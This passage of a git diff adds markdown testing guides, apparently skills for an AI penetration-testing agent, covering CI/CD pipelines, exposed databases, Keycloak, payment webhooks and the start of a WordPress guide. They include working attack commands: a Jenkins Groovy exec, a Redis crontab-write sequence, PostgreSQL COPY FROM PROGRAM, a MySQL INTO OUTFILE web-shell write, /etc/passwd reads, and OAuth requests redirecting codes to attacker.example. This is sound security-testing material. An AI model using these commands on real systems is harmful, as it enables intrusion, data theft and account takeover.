+- WAF awareness for payload crafting and rate limiting + +## Pro Tips + +1. Triangulate: headers + cookies + page markers + error shapes together beat any single signal +2. Direct-IP requests (with the right `Host`) often expose the origin stack the CDN masks +3. `httpx -td` and `wafw00f` are pre-installed - run them on every host list before deep testing +4. Pin versions before CVE hunting; "framework X" is not enough, "framework X 2.1.3" is +5. Keep a fingerprint table per host: edge, origin, framework, language, version, WAF, CMS +6. Route fingerprints to the dedicated skills (`django`, `spring`, `wordpress`, etc.) for payload depth + +## Summary + +Fingerprinting is signal triangulation: headers, cookies, page markers, error shapes, favicon hashes, and version files - confirmed across independent signals, edge vs origin separated, and pinned to versions before CVE mapping. Run it on every host list first, and let it route testing to the right specialist skills. diff --git a/strix/skills/technologies/ci_cd.md b/strix/skills/technologies/ci_cd.md new file mode 100644 index 000000000..604027898 --- /dev/null +++ b/strix/skills/technologies/ci_cd.md @@ -0,0 +1,153 @@ +--- +name: ci_cd +description: CI/CD platform security testing covering Jenkins, GitLab, GitHub Actions, and runners - exposed consoles, pipeline injection, credentials, and artifacts +--- + +# CI/CD Platforms + +CI/CD systems are the highest-value target in modern infrastructure: they hold source, secrets, deploy keys, and the ability to ship code to production. Compromising a pipeline is usually "one secret away from everything." The attack surface splits into platform configuration (Jenkins/GitLab/GitHub Actions), pipeline definition injection (untrusted input in `run:`/`script:`), and artifact/credential handling. + +## Attack Surface + +**Jenkins** +- `/login`, `/script` (Groovy console), `/manage`, `/credentials`, `/job/*/`, `/view/*/api/json`, `/api/json` +- Build logs, workspace artifacts (`/job//ws/`), SCM triggers, parameterized builds +- Plugin CVEs and Groovy sandbox bypasses; `jenkins-cli.jar` RCE with reachable port + +**GitLab** +- `/users/sign_in`, `/explore`, `/api/v4/projects`, `/api/v4/users`, registration policy +- Project import "Repo by URL" -> SSRF; CI/CD variables; runners (`/admin/runners`, registration tokens) +- `/-/ci/editor`, artifacts, container registry, merge-request pipelines + +**GitHub Actions** +- Workflows in `.github/workflows/`; `pull_request_target`, `workflow_run`, reusable workflows +- Self-hosted runners; `GITHUB_TOKEN` permissions; secrets exposure in logs/artifacts +- Actions pinning and supply chain (unpinned third-party actions) + +**Generic** +- Exposed `.git` metadata (`/.git/config`, `/.git/HEAD`), CI config files, artifact buckets, package registries +- Service accounts/keys in pipeline environments with broad cloud permissions + +## Reconnaissance + +1. **Discover instances** - subdomains (`ci.`, `jenkins.`, `gitlab.`, `build.`), port scans, cert SANs, favicon hashes (see `technology_fingerprinting`) +2. **Fingerprint**: Jenkins headers (`X-Jenkins`), GitLab (`X-Gitlab-*`/`GitLab` meta), GitHub (`X-GitHub-*`/`Server: GitHub.com`) +3. **Check unauthenticated access**: + - Jenkins: `/api/json`, `/view/all/api/json`, job pages, `/job//ws/` + - GitLab: `/explore/projects`, `/api/v4/projects?simple=true`, public snippets + - GitHub: public repos/actions logs (in scope only) +4. **Source-aware**: read `.github/workflows/`, `.gitlab-ci.yml`, `Jenkinsfile`, `azure-pipelines.yml`, and CI env config for secrets/keys +5. **Probe known endpoints**: Jenkins `/script` (auth), GitLab runner registration, GitHub self-hosted runner labels + +## Key Vulnerabilities + +### Exposed Console / API + +**Jenkins script console** (`/script`) with any `Overall/RunScripts` permission is RCE: + +``` +def p = "id".execute(); println p.text +``` + +Unauthenticated API access leaks job configs, credentials IDs, and build logs; `/jenkins/securityRealm/user/admin` exposed in old versions (CVE-2018-1000861 ACL bypass) allowed unauthenticated Groovy RCE. + +**GitLab**: open registration -> create account, run pipelines on shared runners, access public/internal projects; unauthenticated `/api/v4` enumeration; old CVE-2021-22205 (ExifTool RCE via image upload) on specific versions. + +### Pipeline Injection + +**GitHub Actions** - untrusted input reaching `run:`: + +```yaml +on: pull_request_target +jobs: + build: + runs-on: ubuntu-latest + steps: + - run: echo "${{ github.event.pull_request.title }}" +``` + +The PR title (attacker-controlled) is evaluated into a shell command - command injection in CI with access to `GITHUB_TOKEN` and secrets. Same pattern: `github.event.issue.body`, `head_ref`, commit messages. + +**GitLab CI** - `script:` lines with `$CI_COMMIT_TAG`/MR title interpolation; `.gitlab-ci.yml` in merge requests running on protected branches. + +**Jenkins** - parameterized builds passing untrusted params into shell steps; shared-library injection via SCM. + +### Runner Compromise + +- **Self-hosted runners** are shared trust boundaries: any workflow code (including a fork's PR on `pull_request` without `pull_request_target`) executes on the runner with host access +- Runner registration tokens leaked -> register attacker-controlled job execution on the host +- Runner service accounts with cloud credentials -> lateral movement +- GitLab shared runners with `DOCKER_AUTH_CONFIG`/privileged mode + +### Secrets and Credentials + +- Secrets exposed in build logs (`echo $SECRET`, debug logging, `set -x`) +- Artifacts containing `.env`, keys, configs; downloadable by users with read access +- Jenkins credential store: any user with `View` on credentials (or with `RunScripts`) can decrypt/read +- `GITHUB_TOKEN` with broad `permissions:` (e.g., `contents: write`, `packages: write`) used in workflows - PR-triggered write access +- Cloud keys stored as plaintext CI variables (GitLab CI vars are plaintext by default) + +### Artifact and Registry Exposure + +- Public package registries/container registries with production images (extract env/config/layers - see `docker` skill) +- Build artifacts on public storage (S3/GCS buckets) with secrets +- Old artifacts not pruned + +### Import SSRF + +GitLab "Repo by URL" import and mirroring fetch attacker-chosen URLs server-side; blocked-host bypasses (redirects, DNS rebinding, alternative IP notations) -> SSRF (see `ssrf`). Same pattern in Jenkins SCM plugins and GitHub imports. + +## Advanced Techniques + +- **PR-to-secret chain**: `pull_request_target` + injection -> exfiltrate `GITHUB_TOKEN`/secrets -> push malicious commit from the "trusted" workflow +- **Jenkins Groovy without console**: `jenkins-cli.jar -s URL groovy script.groovy` with valid creds; or build-step "Execute Groovy script" +- **GitLab runner takeover**: register a rogue runner with a leaked token, define a job that dumps the host +- **Reusable workflow confusion**: `uses: org/repo@ref` where `ref` is attacker-controlled (branch/tag), or an unpinned action version rewritten by a tag move +- **Credential exfil via cache**: GitHub Actions cache poisoning (`actions/cache`) can persist across runs and branches +- **Supply chain**: unpinned actions + compromised package -> CI compromise (see `dependency_cve_scanning`) + +## Testing Methodology + +1. Discover and fingerprint CI instances; check unauthenticated API/console access +2. Enumerate projects/jobs/artifacts and their visibility +3. Review pipeline definitions for injection (PR events, untrusted interpolation) +4. Check secret handling: log exposure, artifact inclusion, variable storage +5. Test runner registration and self-hosted runner exposure +6. Probe import/mirror SSRF with OAST +7. Validate each finding with a minimal, reversible proof (no destructive deployments) + +## Validation + +1. Injection: run a benign command (`id`, `env | grep -i secret` redacted) through the pipeline trigger and show output in the build log +2. Console/API: show unauthenticated access to job configs/logs/credentials IDs +3. Secrets: demonstrate a secret value in logs/artifacts (redact in report) +4. SSRF: OAST hit from the CI server IP +5. Runner: register a test runner in a sandbox/isolated project or show token exposure without registering (if risky) + +## False Positives + +- Jenkins/GitLab login required for everything except the login page (no unauthenticated exposure) +- `pull_request_target` present but inputs sanitized/escaped properly +- `GITHUB_TOKEN` limited to read-only permissions +- Self-hosted runners not reachable/attacker workflows cannot run on them +- Import SSRF blocked (allowlist, redirect rejection) +- Public artifacts contain only public data + +## Impact + +- Full source + secrets compromise +- Code/deployment tampering (supply-chain style attacks from the inside) +- Cloud account compromise via runner/CI credentials +- Lateral movement into production from the pipeline network + +## Pro Tips + +1. CI secrets are the prize: hunt them in logs, artifacts, and env dumps before anything else +2. `pull_request_target` + untrusted interpolation is the classic GitHub Actions RCE - test it with a benign command +3. Check unauthenticated Jenkins `/api/json` and GitLab `/api/v4` early - exposure is common +4. Review pipeline YAML for `script:`/`run:` lines that interpolate event-controlled fields +5. Pair with `ssrf`, `information_disclosure`, `weak_password_detection`, and `docker` skills + +## Summary + +CI/CD compromise starts at exposure (consoles, APIs, public projects), accelerates through pipeline injection and secret handling, and finishes with runner/credential abuse. Enumerate platforms, review pipeline definitions for untrusted input, audit secret flows, and validate with minimal reversible proofs. diff --git a/strix/skills/technologies/exposed_databases.md b/strix/skills/technologies/exposed_databases.md new file mode 100644 index 000000000..4e8ae6521 --- /dev/null +++ b/strix/skills/technologies/exposed_databases.md @@ -0,0 +1,183 @@ +--- +name: exposed_databases +description: Testing unauthenticated and weakly-authenticated database services (Redis, MongoDB, Elasticsearch, PostgreSQL, MySQL, Cassandra, CouchDB, Memcached) for data exposure and RCE +--- + +# Exposed Databases + +Databases reachable from the tested network without authentication - or with default credentials - are among the highest-impact findings: full data access, and in several engines direct file write/RCE. These services usually appear during port scans (`naabu`/`nmap`) on non-web ports, or via SSRF to internal hosts. Test each engine with its native protocol tooling, keep reads minimal, and prefer non-destructive proof. + +## Attack Surface + +- Redis (6379), MongoDB (27017), Elasticsearch/OpenSearch (9200/9300), PostgreSQL (5432), MySQL/MariaDB (3306), Cassandra (9042), CouchDB (5984), Memcached (11211), Neo4j (7474/7687), InfluxDB (8086), ClickHouse (8123/9000), MS SQL (1433), Oracle (1521) +- Bind addresses: `0.0.0.0`, Docker host-mapped ports, Kubernetes NodePorts, cloud security-group mistakes +- Access paths: direct network, SSRF (see `ssrf`), pivots from compromised hosts, cloud instances with permissive groups +- Data of interest: credentials, PII, tokens, configs, cached sessions, audit logs + +## Reconnaissance + +1. **Discover**: port sweep with `naabu -top-ports 1000`, `nmap -sV` for service fingerprints, banner grabs (`nc -vz`, `curl` for HTTP-ish services) +2. **Fingerprint each service** - version matters for known CVEs and RCE paths +3. **Test auth**: connect with no credentials first, then default/weak sets per engine (root/root, admin/admin, postgres/postgres, neo4j/neo4j, redis with `requirepass` absent) +4. **Check network exposure context** - is the port only reachable internally (SSRF/pivot needed) or directly? +5. **Source-aware**: hunt connection strings in `.env`, configs, CI vars for the credentials to reuse + +## Key Vulnerabilities + +### Redis (6379) + +No `requirepass` (or weak password) means full command access: + +``` +redis-cli -h INFO # server info, version, roles +redis-cli -h CONFIG GET dir +redis-cli -h CONFIG GET dbfilename +``` + +**File write -> RCE** (runs as the Redis user, often root in containers): + +``` +redis-cli -h CONFIG SET dir /var/spool/cron/crontabs +redis-cli -h CONFIG SET dbfilename root +redis-cli -h SET x "\n* * * * * \n" +redis-cli -h SAVE +``` + +Alternatives: `~/.ssh/authorized_keys` (SSH key), web root webshell, `/etc/cron.d/`. **Master-replica**: `REPLICAOF 6379` against a rogue Redis master can push arbitrary commands/file content (works when `SLAVEOF`/`REPLICAOF` not renamed). Lua `EVAL` executes server-side code but is sandboxed. + +### MongoDB (27017) + +No auth (or `authSource` misconfig) -> full CRUD: + +``` +mongosh "mongodb://:27017" +show dbs +use ; db.getCollectionNames() +db..find().limit(50) +``` + +Check `admin.system.users` for hashes, `$where`/`$function` (server-side JS) for execution primitives, and replica-set configs for cluster-wide access. See `nosql_injection` for app-layer operator injection. + +### Elasticsearch / OpenSearch (9200) + +HTTP JSON API, no auth: + +``` +curl -s http://:9200/ +curl -s http://:9200/_cat/indices?v +curl -s http://:9200/_all/_search?size=50 +curl -s http://:9200/_cat/nodes?v +``` + +Data of interest: logs with credentials/tokens, `.kibana`/`.security` indices, snapshot configs. Historical script RCE (`_search` script fields) and log4j (CVE-2021-44228) paths on old versions; version-gate before testing. + +### PostgreSQL (5432) + +Default `postgres/postgres` or trust auth: + +``` +psql -h -U postgres +\l +\dt +SELECT * FROM pg_catalog.pg_tables; +``` + +**File read**: `SELECT pg_read_file('/etc/passwd');` (superuser, `pg_read_server_files`). **RCE**: `COPY FROM PROGRAM 'id';` (superuser) or `COPY ... TO PROGRAM`. Also `dblink`/`lo_import`/`lo_export` for file interaction. + +### MySQL / MariaDB (3306) + +Root with empty/weak password: + +``` +mysql -h -u root +SHOW DATABASES; +SELECT user,host,authentication_string FROM mysql.user; +``` + +**File read**: `SELECT LOAD_FILE('/etc/passwd');` (FILE priv). **File write/RCE**: `SELECT '' INTO OUTFILE '/var/www/html/x.php';` (FILE priv + writable dir). UDF libraries for command execution on specific configs. + +### CouchDB (5984) + +``` +curl -s http://:5984/ +curl -s http://:5984/_all_dbs +curl -s http://:5984/_utils/ # Fauxton UI +``` + +Historical unauth admin bypass (CVE-2017-12635/12636) on old versions; `_config`/`_node` endpoints leak config; `_users` db contains password hashes. + +### Cassandra (9042) + +``` +cqlsh +DESCRIBE KEYSPACES; +``` + +No auth by default on many deployments; check roles (`LIST ROLES`) and authz gaps. + +### Memcached (11211) + +``` +printf 'stats\n' | nc 11211 +printf 'stats items\n' | nc 11211 +printf 'get \n' | nc 11211 +``` + +Sessions/cache data readable; UDP amplification vector (abuse only with authorization). + +### Neo4j (7474/7687) + +Default `neo4j/neo4j`; browser console at `http://:7474/browser/`; Bolt on 7687. Test default creds, then Cypher queries for data and config. + +## Advanced Techniques + +- **Session/cache harvesting**: Redis/Memcached often cache auth sessions - a single `KEYS *`/`stats items` + `get` can yield live session tokens +- **Credentials in data**: search for `password`, `secret`, `token`, `api_key` across collections/indices/tables +- **Cloud metadata pivot**: from a compromised DB host's shell (Redis cron/Postgres COPY), query `169.254.169.254` (see `ssrf`, `aws`, `gcp`, `azure`) +- **Lateral movement**: reuse found credentials against the app, SSH, and other services +- **Sharding/cluster**: Redis Cluster/ES cluster APIs expose all nodes - enumerate the full cluster from one open node +- **TLS detection**: some DBs accept plaintext and TLS on the same port; check both + +## Testing Methodology + +1. Sweep ports, fingerprint each service, note version +2. Test unauthenticated access, then default credentials +3. Enumerate data catalogs (dbs/indices/tables/keys) before touching contents +4. Sample small amounts of data; search for credentials/tokens +5. Test file-read/RCE paths only with authorization and with minimal proof (read a benign file, echo a marker) +6. Document exact connection strings/commands for reproducibility + +## Validation + +1. Show the unauthenticated/default-credential connection succeeding and a catalog listing +2. Demonstrate data access with a small, redacted sample that proves sensitivity (live session token, credentials, PII) +3. For RCE paths: version-gate and use a benign proof (`id`, marker file in a temp location when possible) +4. Confirm the exposure is reachable from the tested position (direct or via SSRF/pivot) - the path matters for severity + +## False Positives + +- Service answers a banner but rejects commands without auth (Redis `NOAUTH`, Mongo auth enabled, ES 401) +- Port open but filtered/timing out on actual commands +- Default creds changed (postgres/postgres fails) - no finding +- Data store contains only test/sample data with no production value (still a misconfig finding, lower severity) +- SSRF reachable but egress to the DB blocked by network rules (no data access) + +## Impact + +- Complete data breach (credentials, PII, tokens) +- RCE on the database host (Redis/Postgres/MySQL paths) -> pivot into the network +- Session hijacking via cached session material +- Supply-chain/credential reuse into other systems + +## Pro Tips + +1. Enumerate the catalog before sampling data - it proves scope and keeps the footprint small +2. Redis `CONFIG GET dir` + `SAVE` is the classic container RCE; check the Redis user/OS before firing file writes +3. Look for session/credential material first - it is often the highest-value data in caches +4. Version-gate the historical CVEs (CouchDB 1.x/2.x, ES script engine, log4j) +5. Pair with `ssrf`, `nosql_injection`, `weak_password_detection`, and the cloud skills for pivots +6. Never dump entire databases; sample + document is enough to prove impact + +## Summary + +Exposed databases are data-and-RCE goldmines: authenticate freely or with defaults, enumerate the catalog, sample credential/token material, and version-gate the file-write/RCE paths. Prove reachability and impact with minimal, redacted evidence. diff --git a/strix/skills/technologies/keycloak.md b/strix/skills/technologies/keycloak.md new file mode 100644 index 000000000..00561ebc8 --- /dev/null +++ b/strix/skills/technologies/keycloak.md @@ -0,0 +1,144 @@ +--- +name: keycloak +description: Keycloak identity-provider security testing covering realm/client misconfiguration, redirect_uri abuse, identity broker SSRF, and token handling +--- + +# Keycloak + +Keycloak is the most widely deployed open-source identity provider (IdP). Compromise it and you control every application that trusts it. The attack surface is mostly configuration: exposed admin consoles, permissive realm settings (self-registration, direct access grants), public clients with weak redirect validation, identity-broker federation that fetches attacker-chosen metadata, and JWT handling on both the Keycloak side and the relying apps. + +## Attack Surface + +- Admin console: `/admin` (master realm), realm admin consoles, REST `/admin/realms/*` +- Well-known and protocol endpoints: `/realms/{realm}/.well-known/openid-configuration`, `/realms/{realm}/protocol/openid-connect/{auth,token,userinfo,logout,registrations}`, `/realms/{realm}/account`, `/realms/{realm}/protocol/saml` +- Dynamic client registration: `/realms/{realm}/clients-registrations/openid-connect` (with/without initial access token) +- Identity brokering: OIDC/SAML IdP federation ("import from URL", metadata fetch), first-login flows, account linking +- Default credentials and bootstrap admin: admin account created on first boot with a console-generated or configured password; check for default/weak/leaked admin creds +- Clients: public vs confidential, redirect URIs, direct access grants, service accounts, token lifetime and audience settings +- Custom themes (FreeMarker templates) and SPI extensions - template injection when user input reaches them +- End-user flows: registration, password reset, account console, brute-force protection config, user enumeration + +## Reconnaissance + +1. **Enumerate realms**: `/realms/master/.well-known/openid-configuration` confirms the server; guess/scan realm names (`master`, app names) via `/realms//.well-known/openid-configuration` or `/auth/realms/...` (older prefix) +2. **Check the admin console**: reachable? Login page realm? Try default credentials only when engagement rules allow; otherwise note exposure +3. **Pull client metadata**: from the OpenID config (`authorization_endpoint`, `token_endpoint`), then `client_id` values visible in the login page/network traffic +4. **Test dynamic registration**: + ``` + POST /realms/{realm}/clients-registrations/openid-connect + Content-Type: application/json + {"client_name":"x","redirect_uris":["https://attacker.example/"]} + ``` + If a client is created without an initial access token, you can register your own OAuth client (often abused for authorization-code theft or token minting in misconfigured realms) +5. **Fingerprint version** from headers (`Server: Keycloak`), error pages, or `/realms/master/.well-known/openid-configuration` issuer format +6. **Source-aware** (self-hosted configs): `realm-export.json`, `keycloak.conf`, custom themes, and client settings in the repo + +## Key Vulnerabilities + +### Exposed/Weak Admin Console + +- `/admin` reachable from the internet with no IP restriction - brute-force/credential-stuffing target and config hijack vector +- Default bootstrap admin credentials never changed (admin/admin is only default in dev images, but weak passwords are common) +- Realm admin accounts with excessive roles; `manage-realm`/`manage-clients` on shared accounts + +### Realm Misconfiguration + +- **Self-registration enabled** with default roles that include privileged groups or no verification +- **Direct access grants** enabled on public clients: password grant without 2FA/rate limiting -> credential stuffing +- **Brute-force protection disabled** (`bruteForceProtected=false`) - unlimited login attempts +- **Password policy weak/absent**; email verification disabled +- Realm shared with production apps (master realm used for real apps) - any realm admin becomes cross-app admin + +### Client Misconfiguration + +- Public clients (no secret) where confidential flow is required +- `redirect_uris` too broad: `*` suffix, path-prefix matches that accept attacker paths, wildcard hosts +- `web_origins` misconfig enabling token theft via registered CORS origins +- Token lifetimes too long; refresh tokens not rotated; audience not enforced by relying apps +- Service accounts with excessive client roles + +### Redirect URI / Authorization Code Abuse + +With a permissive redirect allowlist: + +``` +/realms/{realm}/protocol/openid-connect/auth?client_id=app&redirect_uri=https://attacker.example/&response_type=code&scope=openid +``` + +If `redirect_uri` is accepted, the authorization code lands on the attacker's origin and can be exchanged for a token (account takeover, see `oauth` skill for the full flow matrix). + +### Identity Broker SSRF + +Adding/federating an IdP by URL makes Keycloak fetch attacker-controlled metadata (OIDC discovery, SAML metadata, JWKS): + +- Attacker-hosted metadata -> Keycloak SSRF to internal endpoints (metadata URL validation gaps; historical CVEs) +- OIDC "issuer" trust confusion -> login CSRF / token injection +- Account linking with attacker-controlled email/attributes -> account takeover of linked identities + +Test with an OAST/metadata endpoint you control (see `ssrf` and `interactsh` skills) and internal URL targets when in scope. + +### Token / JWT Handling + +- Relying apps that verify signature but not `iss`/`aud`/`azp` accept tokens minted for other clients/realms (see `authentication_jwt`) +- JWKS caching/rotation gaps in apps; key confusion across realms +- `typ` confusion: ID token accepted where access token required + +### User Enumeration and Flows + +- Login error differences (`Invalid username or password` vs `Account with this username already exists` in registration) +- Password-reset responses differ for existing vs nonexistent accounts +- Account console endpoints leak user attributes + +## Advanced Techniques + +- **Client registration abuse**: register a client with broad redirect URIs, then run the full OAuth attack set against apps using it +- **Broker account linking**: federate an attacker-controlled OIDC IdP with matching email, then link to a victim account during first-login (classic account-takeover chain) +- **Admin REST without auth**: probe `/admin/realms/{realm}` and `/admin/serverinfo` unauthenticated; older versions leaked server info or allowed unauthenticated client registration +- **Custom theme injection**: FreeMarker templates that render user input -> SSTI (see `ssti`) +- **Token minting via service account**: if a service account has realm-management roles (`realm-admin`), its token can call admin APIs - check its effective roles +- **Cross-realm token reuse**: token from realm A accepted at realm B's apps when audience/issuer checks are weak + +## Testing Methodology + +1. Enumerate realms, admin console exposure, and version +2. Pull OpenID configs and client IDs; test dynamic registration +3. Test redirect_uri validation with attacker origins (full OAuth flow) +4. Audit realm settings: registration, direct grants, brute-force protection, password policy +5. Test identity-broker metadata fetch for SSRF/OAST +6. Check user enumeration in login/register/reset flows +7. Validate relying apps' token checks (iss/aud/typ) + +## Validation + +1. Redirect abuse: complete the code exchange and authenticate as the victim user (minimal, non-destructive) +2. Registration: create an account and demonstrate access to a restricted resource +3. Broker SSRF: OAST hit or internal response from the metadata fetch +4. Token confusion: show a token accepted by the wrong app/realm +5. Admin exposure: show reachable admin console and its protection status (no brute force attempted unless authorized) + +## False Positives + +- Redirect_uri rejects attacker origins (validation working) - no finding +- Registration enabled but new accounts get no privileged roles (low severity at most) +- Direct access grants present but rate-limited and 2FA-enforced +- Broker metadata fetch blocked by allowlist/DNS pinning +- Admin console reachable but locked with strong auth (exposure note only) + +## Impact + +- IdP compromise = trust compromise: mint tokens for any user of any connected app +- Account takeover via redirect/registration/linking flaws +- SSRF pivot into the IdP's network +- Privilege escalation via client roles and realm roles + +## Pro Tips + +1. Enumerate realms early - `master` plus app-named realms are the common set +2. Dynamic client registration is often left open; a registered attacker client is a huge multiplier +3. Test redirect_uri with the *full* code exchange, not just the redirect - acceptance alone is not account takeover +4. Broker metadata fetch is the modern SSRF surface on Keycloak; use OAST to prove it +5. Pair with `oauth`, `authentication_jwt`, `ssrf`, `ssti`, and `weak_password_detection` skills + +## Summary + +Keycloak attacks are configuration attacks: exposed admin, permissive realms and clients, redirect abuse, broker SSRF, and weak token validation downstream. Enumerate realms and clients, test the flows end-to-end, and validate relying apps' token checks to convert config gaps into account takeover. diff --git a/strix/skills/technologies/payment_gateways.md b/strix/skills/technologies/payment_gateways.md new file mode 100644 index 000000000..f681152c5 --- /dev/null +++ b/strix/skills/technologies/payment_gateways.md @@ -0,0 +1,136 @@ +--- +name: payment_gateways +description: Payment integration security testing covering webhook signature validation, amount/currency manipulation, idempotency and race abuse, refunds, and client-side trust +--- + +# Payment Gateways + +Payment integrations (Stripe, PayPal, Braintree, Adyen, Square, Razorpay, etc.) are where business logic meets money, and the classic bugs are beautifully simple: a webhook that trusts unsigned events, an amount read from the client, an idempotency key that can be replayed, or a race that double-spends a coupon. These are usually integration bugs rather than gateway bugs - the gateway itself is fine, but the app's trust decisions around it are not. + +## Attack Surface + +- Webhook endpoints: `/webhooks/stripe`, `/paypal/webhook`, `/api/payments/hooks` - every payment event a merchant app consumes +- Checkout/payment APIs: create-intent, confirm, capture, authorize, refund, dispute/chargeback handlers +- Client-side pricing: amounts, currencies, quantities, tax, coupon codes computed or trusted in the browser +- Idempotency: keys for intents/orders, retry semantics, webhook dedup +- Order/transaction state machines: pending -> paid -> fulfilled transitions and their triggers +- Refunds/disputes: who can trigger them, can they exceed the charge, can they be replayed +- Subscriptions/renewals: proration, cancellation timing, upgrade/downgrade math +- Discounts/referrals/rewards: stacking, negative amounts, repeated application +- Wallet/balance features: credits, points, gift cards, escrow + +## Reconnaissance + +1. **Map the money flows** - checkout, webhook, refund, subscription; record the exact API calls and events for each (proxy/agent-browser + caido) +2. **Fingerprint the gateway stack** from headers, endpoints, SDK version strings, and webhook paths +3. **Capture a real webhook event** - trigger a small payment/refund and intercept the callback; note headers (`Stripe-Signature`, `PayPal-Transmission-*`, `Braintree-Signature`), body schema, and how the app validates +4. **Document idempotency semantics** - which keys exist, how the app dedups, and what happens on replay +5. **Source-aware**: grep for `construct_event`, `verify_signature`, `Webhook`, `webhook_secret`, `amount`, `currency`, `idempotency`, `refund`, `chargeback` + +## Key Vulnerabilities + +### Missing/Weak Webhook Signature Validation + +**Stripe**: the `Stripe-Signature` header is `t=,v1=`, where the HMAC-SHA256 is over `.` with the webhook secret. Test: + +- Replay a captured event with the signature stripped - accepted? +- Replay with a *different* timestamp and recomputed signature from a body you control (requires the secret, so first hunt for secret leaks) +- Tolerance window: does the app check `t` against the current time? A wide/absent window allows old-event replay +- Raw-body handling: if the app parses the body before verification (JSON re-serialization), signature checks fail closed for everyone - but if the app verifies a *stringified* body or skips verification on parse errors, forging becomes possible + +**PayPal**: webhook headers `PayPal-Transmission-Id`, `PayPal-Transmission-Time`, `PayPal-Transmission-Sig`, `PayPal-Cert-Url`, `PayPal-Auth-Algo`; verification requires fetching the cert URL + CRC32 of the body. Common failures: cert URL not validated (SSRF), signature verification skipped, webhook ID not checked. + +**Braintree**: `Braintree-Signature` + `Braintree-Payload` (HMAC-SHA256 hex); apps often verify with a stale/leaked key or skip the check. + +**Adyen**: `Adyen-Signature` HMAC over specific fields with a configured key. + +For every gateway: if signature verification is missing or bypassable, an attacker can forge `payment_intent.succeeded`, `payment.sale.completed`, `checkout.session.completed`, or refund events and trigger fulfillment without paying. + +### Amount/Currency Manipulation + +- Amount taken from client request (body/param) instead of the gateway's payment intent +- Integer vs decimal confusion: Stripe uses minor units (cents) - `1.5` vs `150`, negative amounts, `-1` refunds, huge values +- Currency mismatch: pay in a cheap currency, fulfillment priced in another; `amount_currency` not validated against the intent +- Quantity/price math: client-supplied unit price, tax, or discount applied server-side without revalidation +- Gift card/credit flows: applying credits after a discount, negative balances, fractional credits + +### Idempotency Key Abuse + +- Reusing an idempotency key for a different amount -> gateway returns the *original* result (if key collision is possible per-account) +- Webhook replay without dedup: the same `payment_intent.succeeded` delivered twice (attacker resends the raw HTTP request) -> double fulfillment, double credits, double reward +- Retry loops: app-level retries re-trigger side effects (email, inventory, credits) + +### Race Conditions + +- Concurrent webhooks + balance reads: `balance = balance - amount` read-then-write races allow overspend (see `race_conditions`) +- Concurrent coupon application or wallet top-up -> double discount / double credit +- Checkout race: two sessions capturing the same discount code or limited stock +- Refund race: refund initiated while capture in flight -> negative balance / double refund + +### Refund/Dispute Abuse + +- Refund endpoint callable by users with arbitrary amounts (refund more than charged, refund others' transactions) +- Refund events trusted to re-credit balances without verifying the original charge +- Dispute handler that credits without evidence, or dispute events forgeable via weak webhook validation +- Chargeback/refund replay -> repeated credits + +### Client-Side Trust + +- Amounts, currency, or plan IDs stored in hidden form fields / JS state and trusted on the server +- Price fields editable in the browser before submission +- Coupon codes applied client-side with server only receiving the discounted total +- Client-generated payment-intent amounts that the server never cross-checks against the cart + +## Advanced Techniques + +- **Webhook secret hunt**: secrets in `.env`, source, logs, admin panels, or client-side bundles; then forge a full event signature +- **Event-type confusion**: some apps switch on `event.type` but ignore `livemode`/`data.object` status; test `payment_intent.succeeded` vs `payment_intent.payment_failed` handlers for missing state checks +- **Currency/format fuzz**: `amount=0`, `amount=-1`, `amount=1e9`, float `1.005`, string `"150"`, extra precision - diff the app's response +- **Two-account differential**: the same coupon/idempotency key/cart across two accounts often behaves differently +- **Clock manipulation**: test time-window checks in subscription/coupon logic by manipulating `created_at` in requests (if trusted) + +## Testing Methodology + +1. Map flows and capture real webhook events + signatures +2. Replay events: unmodified (dedup?), signature stripped, stale timestamp +3. Test amount/currency validation across create/confirm/capture/refund +4. Fuzz idempotency keys and retry behavior +5. Run concurrency tests on credits/balance/coupon flows +6. Audit refund/dispute authorization (who can call, for what amounts) +7. Hunt webhook secrets in configs/source/logs + +## Validation + +1. Webhook: show an accepted forged/replayed event and its server-side effect (credits added, order fulfilled) with exact request/response pairs +2. Amount: create an order at a manipulated price and show the server accepted it +3. Race: demonstrate double credit/fulfillment with concurrent requests (repeatable, not a one-off) +4. Refund: unauthorized refund succeeds (two-account proof) +5. Keep proofs non-destructive: use sandbox/test mode, tiny amounts, or reversible credits + +## False Positives + +- Webhook rejects forged signatures (verification working) - no finding +- Amount validated against the gateway intent server-side (client price ignored) +- Idempotency key collisions blocked by per-key/per-account binding +- Race attempts produce no observable double-effect (server serializes correctly) +- Refund endpoint requires admin/role checks and ownership validation +- Sandbox/test-mode events accepted but production livemode enforced (`livemode:false` rejected or flagged) + +## Impact + +- Free goods/services via forged payment events or amount manipulation +- Direct financial loss via refund abuse and double credits +- Data exposure of payment/PII data in logs and responses +- Reputation/regulatory fallout (PCI, chargebacks, fraud) + +## Pro Tips + +1. Webhook signature validation is the #1 payment bug - replay stripped/stale/forged events first +2. Always test in test mode with tiny amounts; financial validation should never be destructive +3. Capture a real signed webhook to learn the exact validation flow and body shape +4. Check `livemode`/state fields in event handlers, not just event type +5. Pair with `race_conditions`, `business_logic`, `information_disclosure`, and `weak_password_detection` skills + +## Summary + +Payment flaws are trust-boundary bugs: the app trusts unsigned webhooks, client prices, weak idempotency, or unguarded refunds. Capture real events, replay and forge them, revalidate amounts server-side, race the money paths, and prove each with minimal, reversible impact. diff --git a/strix/skills/technologies/wordpress.md b/strix/skills/technologies/wordpress.md new file mode 100644 index 000000000..666050cbc --- /dev/null +++ b/strix/skills/technologies/wordpress.md @@ -0,0 +1,143 @@ +--- +name: wordpress +description: WordPress security testing covering wpscan workflows, user enumeration, xmlrpc abuse, plugin/theme CVEs, REST API gaps, and upload bypasses +--- + +# WordPress + +WordPress powers a huge share of the web, and its attack surface is mostly third-party: plugins and themes with a long history of CVEs, plus a few core surfaces that never change (`xmlrpc.php`, the REST API, `wp-login.php`). A WordPress finding is usually "plugin X version Y is vulnerable to CVE-Z" - so fingerprinting versions and enumerating installed plugins is the core of the job. The `wpscan` CLI automates most of it. + +## Attack Surface + +- Core: `/wp-login.php`, `/wp-admin/`, `/wp-json/`, `/xmlrpc.php`, `/wp-content/`, `/wp-includes/`, `/readme.html`, `/license.txt`, `/wp-cron.php` +- Users: `/?author=1` redirects, `/wp-json/wp/v2/users`, author archives, REST user endpoints +- Plugins/themes: version disclosure via `readme.txt`, `style.css`, changelogs; CVE matching against the plugin/theme version +- Uploads: `/wp-content/uploads/` (directories, timestamps, path guessing), media library, plugin upload flaws +- REST API: `/wp-json/wp/v2/*` - users, posts, settings, media, and custom plugin endpoints often missing authz checks +- `xmlrpc.php`: 